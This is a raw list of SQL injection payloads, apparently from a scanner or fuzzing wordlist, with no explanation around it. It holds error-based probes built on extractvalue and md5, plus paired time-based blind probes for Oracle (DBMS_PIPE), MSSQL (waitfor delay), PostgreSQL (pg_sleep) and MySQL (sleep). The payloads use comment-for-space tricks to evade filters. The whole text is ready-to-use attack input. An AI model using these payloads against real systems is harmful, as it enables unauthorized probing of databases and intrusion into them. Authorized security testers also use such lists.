'and/**/extractvalue(1,concat(char(126),md5(1442359753)))and'

'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('v',5)='v

'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('a',0)='a

'and(select+1)>0waitfor/**/delay'0:0:5

'and(select+1)>0waitfor/**/delay'0:0:0

'/**/and(select'1'from/**/pg_sleep(5))::text>'0

'/**/and(select'1'from/**/pg_sleep(0))::text>'0

"and(select*from(select+sleep(5))a/**/union/**/select+1)="

"and(select*from(select+sleep(0))a/**/union/**/select+1)="

'and(select*from(select+sleep(5))a/**/union/**/select+1)='